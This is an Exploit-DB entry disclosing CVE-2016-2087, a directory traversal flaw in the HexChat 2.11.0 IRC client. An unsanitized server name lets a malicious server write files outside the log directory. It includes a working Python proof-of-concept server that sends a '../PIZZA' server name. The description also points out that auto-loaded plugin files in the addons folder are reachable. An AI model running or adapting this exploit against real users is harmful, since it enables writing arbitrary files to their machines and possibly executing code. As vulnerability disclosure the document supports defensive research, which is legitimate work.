Hexchat IRC Client 2.11.0 – Directory Traversal

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EDB-ID: 39656 CVE: 2016-2087 OSVDB-ID: N/A
EDB Verified: YES Author: PizzaHatHacker Published: 2016-04-04
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#!/usr/bin/python
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# Meta information #
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# Exploit Title: Hexchat IRC client - Server name log directory traversal
# Date: 2016-01-26
# Exploit Author: PizzaHatHacker
# Vendor Homepage: https://hexchat.github.io/index.html
# Software Link: https://hexchat.github.io/downloads.html
# Version: 2.11.0
# Tested on: HexChat 2.11.0 & Linux (64 bits)
# CVE : CVE-2016-2087
 
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# Vulnerability description #
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'''
Server Name Directory Traversal in src/common/text.c :
static char * log_create_pathname (char *servname, char *channame, char *netname)
 
In this function, channame (channel name) and netname (network name as 
configured in the client software) are sanitized to prevent directory 
traversal issues when creating a logfile BUT servname (server-provided
information) is NOT sanitized before possibly being injected into 
the file path via the 'log_insert_vars' function call.
 
This bug could be triggered in the special (non-default) configuration
where a user would have :
* Enabled logging (Settings > Preferences > Chatting > Logging)
* Used a pattern containing '%s' in the log filepath (instead 
of the default = '%n\%c.log').
 
When connecting to a malicious server, Hexchat IRC client may create or modify
arbitrary files on the filesystem with the permissions of the IRC client user
(non-root). For example, the following directories are accessible easily :
* <Hexchat-Conf>/addons : Executable plugin files that are automatically loaded
when starting Hexchat IRC client
* <Hexchat-Conf>/logs : ALL logfiles (from other servers too)
* <Hexchat-Conf>/scrollback : Scrollback text that is automatically 
loaded when entering a channel/server (this may trigger further bugs)
* <Hexchat-Conf>/sounds : Sounds that may be played on demand via CTCP
SOUND messages (this could also trigger further bugs)
* etc.
 
CVSS v2 Vector : (AV:N/AC:H/Au:N/C:N/I:P/A:P)
CVSS Base Score : 4
Impact Subscore : 4.9
Exploitability Subscore : 4.9
'''
 
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# Proof of Concept #
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'''
* Install Hexchat IRC Client
* Settings > Preferences > Chatting > Logging : Enable logging and use the log
filepath pattern : '%s\%c.log' (without the quotes)
* Run this Python script on a (server) machine
* Connect to the server running the script
* Results : A 'PIZZA' directory will appear in <Hexchat-Conf>/PIZZA instead
of something like <Hexchat-Conf>/logs/___PIZZA
'''
 
import socket
import sys
import time
 
# Exploit configuration
HOST = ''
PORT = 6667
SERVERNAME = '../PIZZA'
 
# Create server socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    sock.bind((HOST, PORT)) # Bind to port
    sock.listen(0) # Start listening on socket
     
    print 'Server listening, waiting for connection...'
    conn, addr = sock.accept()
     
    print 'Connected with ' + addr[0] + ':' + str(addr[1]) + ', sending packets...'
    conn.send(':' + SERVERNAME + ' 001 bob :Welcome to the Internet Relay Network\r\n')
     
    # Wait and close socket
    conn.recv(256)
    sock.close()
     
    print 'Done.'
 
except socket.error as msg:
    print 'Failure binding to port : ' + str(msg[0]) + ' ' + msg[1]

Quelle: exploit-db

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